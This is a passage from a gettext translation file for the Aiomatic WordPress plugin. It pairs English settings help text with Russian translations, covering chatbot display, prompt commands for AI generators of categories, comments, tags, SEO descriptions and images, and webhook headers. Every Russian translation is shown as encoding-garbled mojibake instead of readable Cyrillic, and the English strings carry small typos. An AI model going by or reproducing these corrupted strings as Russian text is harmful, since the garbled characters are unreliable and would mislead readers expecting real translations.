токенов по умолчанию в 128 000." #: res/aiomatic-chatbot.php:4651 msgid "Set a icon which will open the chatbot." msgstr "УÑтановите значок, который будет открывать чат-бот." #: res/aiomatic-chatbot.php:4312 msgid "" "Set a list of domains (separated by commas), which will be allowed to " "display the chatbot on their site. To allow all sites to add this chatbot, " "leave this field blank. Example usage: https://www.example.org" msgstr "" "Задайте ÑпиÑок доменов (через запÑтую), которым будет разрешено отображать " "Чат-бот на Ñвоем Ñайте. Чтобы разрешить вÑем Ñайтам добавлÑÑ‚ÑŒ Ñтот Чат-бот, " "оÑтавьте Ñто поле пуÑтым. Пример иÑпользованиÑ: https://www.example.org" #: res/aiomatic-chatbot.php:4561 msgid "" "Set a list of URL where to not show the chatbot. You can enter multiple URLs," " each on a new line." msgstr "" "УÑтановите ÑпиÑок URL-адреÑов, где не показывать чат-бота. Ð’Ñ‹ можете ввеÑти " "неÑколько URL-адреÑов, каждый в новой Ñтроке." #: res/aiomatic-main.php:7911 #, php-format msgid "" "Set a prompt for generating a keyword for importing royalty free images for " "the created posts. You can also instruct the AI writer to return a comma " "separated list of keywords. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "You can also add a link to a TXT file, containing keywords (one per line), " "or to an RSS feed. If you use RSS feeds, you can also use the following " "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. The length of this command should not be greater than the max " "token count set in the settings for the seed command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You can also add here a link to a .txt file, where you can add multiple " "prompts (one per line) and the plugin will select a random one at each run. " "You can use something like: I need to find highly relevant royalty-free " "images for an article heading, please extract a comma-separated list of the " "most relevant keywords from the heading, prioritizing specific references " "over general keywords. Add the highest priority to the most specific keyword " "that is still related to the main topic. By doing so, you can help me find " "more appropriate and targeted images for the article heading. The blog post " "heading title is: \"%%post_title%%\"." msgstr "" "УÑтановите Промпт на Генерацию Ключевого Ñлова Ð´Ð»Ñ Ð˜Ð¼Ð¿Ð¾Ñ€Ñ‚Ð° БеÑплатных " "Изображений Ð´Ð»Ñ Ñозданных ПоÑтов. Ð’Ñ‹ также можете указать AI Создателю " "вернуть ÑпиÑок Ключевых Ñлов, разделенных запÑтыми. ЗдеÑÑŒ вы можете " "иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-" "файл, Ñодержащий Ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. " "ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие " "дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%% , " "%%post_link%%. Длина Ñтой команды не должна превышать макÑимальное " "количеÑтво токенов, уÑтановленное в наÑтройках команды seed. Обновление: " "также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñгенерированные правилами " "из других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на файл .txt, где " "вы можете добавить неÑколько Промптов (по одному на Ñтроку), и плагин будет " "выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ можете иÑпользовать что-то вроде: " "Мне нужно найти очень релевантные Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð±ÐµÐ· лицензионных отчиÑлений " "Ð´Ð»Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° Ñтатьи, пожалуйÑта, извлеките ÑпиÑок наиболее релевантных " "ключевых Ñлов, разделенных запÑтыми, из заголовка, Ð¾Ñ‚Ð´Ð°Ð²Ð°Ñ Ð¿Ñ€ÐµÐ´Ð¿Ð¾Ñ‡Ñ‚ÐµÐ½Ð¸Ðµ " "конкретным ÑÑылкам над общими ключевыми Ñловами (I need to find highly " "relevant royalty-free images for an article heading, please extract a comma-" "separated list of the most relevant keywords from the heading, prioritizing " "specific references over general keywords). Добавьте наивыÑший приоритет к " "наиболее конкретному ключевому Ñлову, которое вÑе еще ÑвÑзано Ñ Ð¾Ñновной " "темой. Тем Ñамым вы поможете мне найти более подходÑщие и целевые " "Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° Статьи. Заголовок ПоÑта в блоге: " "\"%%post_title%%\"." #: res/aiomatic-main.php:6857 msgid "Set a template to use for auto created embeddings" msgstr "" "УÑтановите шаблон, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки Ñозданных " "Ð’Ñтраиваний." #: aiomatic-ajax-actions.php:8042 res/aiomatic-shortcodes.php:242 msgid "Set an example response for this form, this can be shown to users." msgstr "" "УÑтановите пример ответа Ð´Ð»Ñ Ñтой формы, его можно показать пользователÑм." #: res/aiomatic-spinner-list.php:2241 #, php-format msgid "" "Set an prompt command you want to send to the AI category generator. This " "command can be any given task or order, based on which, it will generate " "categories for posts. You can use the following shortcodes here: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to usersm using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." msgstr "" "УÑтановите команду промпта, которую вы хотите отправить генератору категорий " "AI. Этой командой может быть Ð»ÑŽÐ±Ð°Ñ Ð·Ð°Ð´Ð°Ð½Ð½Ð°Ñ Ð·Ð°Ð´Ð°Ñ‡Ð° или заказ, на оÑновании " "которого она будет генерировать категории Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы можете " "иÑпользовать Ñледующие короткие коды: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете " "иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ " "помощью пользовательÑких шорткодов в Ñтом формате:%%!custom_field_slug!%%. " "Ð’Ñ‹ также можете иÑпользовать наÑтраиваемые Ð¿Ð¾Ð»Ñ (мета-ÑообщениÑ), " "назначенные ÑообщениÑм, Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом " "формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать " "пользовательÑкие Ð¼ÐµÑ‚Ð°Ð¿Ð¾Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (user meta), которые назначаютÑÑ " "пользователÑм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом формате: " "%%~custom_field_slug~%%.. Пример: еÑли вы хотите добавить данные, " "импортированные из наÑтраиваемого Ð¿Ð¾Ð»Ñ post_data, вам Ñледует иÑпользовать " "Ñтот короткий код: %%!post_data!%%. Длина Ñтой команды не должна превышать " "макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ " "промпта. Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие " "коды, Ñозданные правилами других плагинов)." #: res/aiomatic-spinner-list.php:2573 #, php-format msgid "" "Set an prompt command you want to send to the AI comment generator. This " "command can be any given task or order, based on which, it will generate " "comments for posts. You can use the following shortcodes here: " "%%previous_comments%%, %%post_title%%, %%comment_author_name%%, " "%%comment_author_email%%, %%comment_author_url%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to usersm using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the prompt command -" " Update: nested shortcodes also supported (shortcodes generated by rules " "from other plugins)." msgstr "" "Задайте команду промпт, которую вы хотите отправить генератору комментариев " "AI. Этой командой может быть любое задание или приказ, на оÑновании которого " "он будет генерировать комментарии к поÑтам. ЗдеÑÑŒ вы можете иÑпользовать " "Ñледующие шорткоды: %%previous_comments%%, %%post_title%%, " "%%comment_author_name%%, %%comment_author_email%%, %%comment_author_url%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ " "(post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов " "в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать " "пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ " "помощью пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. " "Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого " "Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой " "команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в " "наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ " "шорткоды (шорткоды, Ñозданные по правилам других плагинов)." #: res/aiomatic-spinner-list.php:1300 #, php-format msgid "" "Set an prompt command you want to send to the AI content image editor. This " "command can be any given task or order, based on which, it will edit the " "featured image of the post. You can use the following shortcodes here: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to usersm using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " If you use Royalty Free Images as a source, you can also set their keywords " "here, if no keywords set, they will be automatically generated." msgstr "" "Задайте промпт команду, которую вы хотите отправить AI редактору изображений " "контента . Этой командой может быть любое задание или приказ, на оÑновании " "которого он будет редактировать главное изображение поÑта. ЗдеÑÑŒ вы можете " "иÑпользовать Ñледующие шорткоды: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете " "иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые приÑваиваютÑÑ Ð¿Ð¾Ñтам " "Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также " "можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые " "назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: " "%%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, " "импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот " "шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать " "макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках Промпта команды " "- Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, " "Ñгенерированные по правилам других плагинов). ЕÑли вы иÑпользуете Royalty " "Free Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð² качеÑтве иÑточника, вы также можете задать их ключевые " "Ñлова здеÑÑŒ, еÑли ключевые Ñлова не заданы, они будут Ñгенерированы " "автоматичеÑки." #: res/aiomatic-spinner-list.php:1576 #, php-format msgid "" "Set an prompt command you want to send to the AI image editor. This command " "can be any given task or order, based on which, it will edit the featured " "image of the post. You can use the following shortcodes here: %%post_title%%," " %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. You can also use custom fields (post meta) that it's " "assigned to posts using custom shortcodes in this format: %%!" "custom_field_slug!%%. You can also use custom user meta fields (user meta) " "which is assigned to usersm using custom shortcodes in this format: " "%%~custom_field_slug~%%. Example: if you wish to add data that is imported " "from the custom field post_data, you should use this shortcode: %%!post_data!" "%%. The length of this command should not be greater than the max token " "count set in the settings for the prompt command - Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). If you " "use Royalty Free Images as a source, you can also set their keywords here, " "if no keywords set, they will be automatically generated." msgstr "" "Задайте промпт команду, которую вы хотите отправить AI редактору " "изображений . Этой командой может быть любое задание или приказ, на " "оÑновании которого он будет редактировать главное изображение поÑта. ЗдеÑÑŒ " "вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете " "иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые приÑваиваютÑÑ Ð¿Ð¾Ñтам " "Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также " "можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые " "назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: " "%%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, " "импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот " "шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать " "макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках Промпт команды- " "Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, " "Ñгенерированные по правилам других плагинов). ЕÑли вы иÑпользуете Royalty " "Free Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð² качеÑтве иÑточника, вы также можете задать их ключевые " "Ñлова здеÑÑŒ, еÑли ключевые Ñлова не заданы, они будут Ñгенерированы " "автоматичеÑки." #: res/aiomatic-spinner-list.php:1416 #, php-format msgid "" "Set an prompt command you want to send to the AI image generator. This " "command can be any given task or order, based on which, it will generate " "content for posts. You can use the following shortcodes here: %%post_title%%," " %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. You can also use custom fields (post meta) that it's " "assigned to posts using custom shortcodes in this format: %%!" "custom_field_slug!%%. You can also use custom user meta fields (user meta) " "which is assigned to usersm using custom shortcodes in this format: " "%%~custom_field_slug~%%. Example: if you wish to add data that is imported " "from the custom field post_data, you should use this shortcode: %%!post_data!" "%%. The length of this command should not be greater than the max token " "count set in the settings for the prompt command - Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). If you " "use Royalty Free Images as a source, you can also set their keywords here, " "if no keywords set, they will be automatically generated." msgstr "" "Задайте команду, которую вы хотите отправить генератору изображений AI. Этой " "командой может быть любое задание или приказ, на оÑновании которого он будет " "генерировать контент Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие " "шорткоды: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать " "пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "пользовательÑких шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ " "также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые " "назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: " "%%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, " "импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот " "шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать " "макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта -" " Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по " "правилам других плагинов). ЕÑли вы иÑпользуете Royalty Free Images в " "качеÑтве иÑточника, вы также можете задать их ключевые Ñлова здеÑÑŒ, еÑли " "ключевые Ñлова не заданы, они будут Ñгенерированы автоматичеÑки." #: res/aiomatic-spinner-list.php:2808 #, php-format msgid "" "Set an prompt command you want to send to the AI SEO meta description " "generator. This command can be any given task or order, based on which, it " "will generate comments for posts. You can use the following shortcodes here: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to usersm using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " The default value is: Write a SEO meta description for the post title: " "%%post_title%%" msgstr "" "Задайте команду промпт, которую вы хотите отправить генератору метаопиÑаний " "AI SEO. Этой командой может быть любое задание или приказ, на оÑновании " "которого он будет генерировать комментарии к поÑтам. ЗдеÑÑŒ вы можете " "иÑпользовать Ñледующие шорткоды: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете " "иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ " "помощью пользовательÑких шорткодов в таком формате: %%!custom_field_slug!%%. " "Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые " "назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: " "%%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, " "импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот " "шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать " "макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта -" " Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по " "правилам других плагинов). Значение по умолчанию: ЗапиÑать SEO-метаопиÑание " "Ð´Ð»Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° поÑта: %%post_title%%" #: res/aiomatic-spinner-list.php:2416 #, php-format msgid "" "Set an prompt command you want to send to the AI tag generator. This command " "can be any given task or order, based on which, it will generate tags for " "posts. You can use the following shortcodes here: %%post_title%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. You can also use custom fields (post meta) that it's " "assigned to posts using custom shortcodes in this format: %%!" "custom_field_slug!%%. You can also use custom user meta fields (user meta) " "which is assigned to usersm using custom shortcodes in this format: " "%%~custom_field_slug~%%. Example: if you wish to add data that is imported " "from the custom field post_data, you should use this shortcode: %%!post_data!" "%%. The length of this command should not be greater than the max token " "count set in the settings for the prompt command - Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins)." msgstr "" "Задайте команду промпт, которую вы хотите отправить генератору тегов AI. " "Этой командой может быть любое задание или приказ, на оÑновании которого он " "будет генерировать теги Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие " "шорткоды: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать " "пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "пользовательÑких шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ " "также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые " "назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: " "%%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, " "импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот " "шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать " "макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта -" " Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по " "правилам других плагинов)." #: res/aiomatic-spinner-list.php:1641 #, php-format msgid "" "Set an prompt command you want to send to the AI text generator. This " "command can be any given task or order, based on which, it will generate " "content for posts. You can use the following shortcodes here: %%post_title%%," " %%post_content%%, %%first_content_paragraph_plain_text%%, " "%%last_content_paragraph_plain_text%%, %%first_content_paragraph%%, " "%%last_content_paragraph%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. You can also use custom fields (post meta) that it's " "assigned to posts using custom shortcodes in this format: %%!" "custom_field_slug!%%. You can also use custom user meta fields (user meta) " "which is assigned to usersm using custom shortcodes in this format: " "%%~custom_field_slug~%%. Example: if you wish to add data that is imported " "from the custom field post_data, you should use this shortcode: %%!post_data!" "%%. The length of this command should not be greater than the max token " "count set in the settings for the prompt command - Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins)." msgstr "" "Задайте команду промпт, которую вы хотите отправить генератору текÑта AI. " "Этой командой может быть любое задание или приказ, на оÑновании которого он " "будет генерировать контент Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы можете иÑпользовать " "Ñледующие шорткоды: %%post_title%%, %%post_content%%, " "%%first_content_paragraph_plain_text%%, " "%%last_content_paragraph_plain_text%%, %%first_content_paragraph%%, " "%%last_content_paragraph%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ " "(post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов " "в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать " "пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ " "помощью пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. " "Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого " "Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой " "команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в " "наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ " "шорткоды (шорткоды, Ñозданные по правилам других плагинов)." #: aiomatic-automation.php:1084 #, php-format msgid "" "Set any headers to send with the webhook request. Enter the headers in this " "structure: key => value (add new key/value combinations on a new line). " "Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported." msgstr "" "Задайте заголовки, которые нужно отправить вмеÑте Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñом на веб-хук. " "Введите заголовки в такой Ñтруктуре: ключ => значение (добавлÑйте новые " "комбинации ключ/значение на новой Ñтроке). Дополнительные шорткоды, которые " "вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:1083 msgid "Set content headers (optional)" msgstr "УÑтановите заголовки контента (необÑзательно)" #: aiomatic-automatic-ai-content-writer.php:13845 #: aiomatic-automatic-ai-content-writer.php:14631 #: res/aiomatic-automation-list.php:1207 res/aiomatic-automation-list.php:1995 #: res/aiomatic-automation-list.php:3674 res/aiomatic-automation-list.php:4462 #: res/aiomatic-automation-list.php:6427 res/aiomatic-automation-list.php:7223 msgid "" "Set if this OmniBlock is critical or not. When a Critical OmniBlock fails to " "generate its content correctly and it fails, it will cause the entire " "OmniBlock running sequence to stop. Non-critical OmniBlocks when they fail, " "the execution of blocks will continue, the result of the failed OmniBlock " "will be blank." msgstr "" "УÑтанавливает, ÑвлÑетÑÑ Ð»Ð¸ Ñтот OmniBlock критичеÑким или нет. Когда " "критичеÑкий OmniBlock не может правильно Ñгенерировать Ñвой контент и " "выходит из ÑтроÑ, Ñто приводит к оÑтановке вÑей поÑледовательноÑти " "Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ OmniBlock. ÐекритичеÑкие OmniBlocks при Ñбое продолжают " "выполнение блоков, результат неудачного OmniBlock будет пуÑтым." #: aiomatic-automation.php:1026 msgid "Set if you want to attach links to created LinkedIn posts." msgstr "" "УÑтановите, 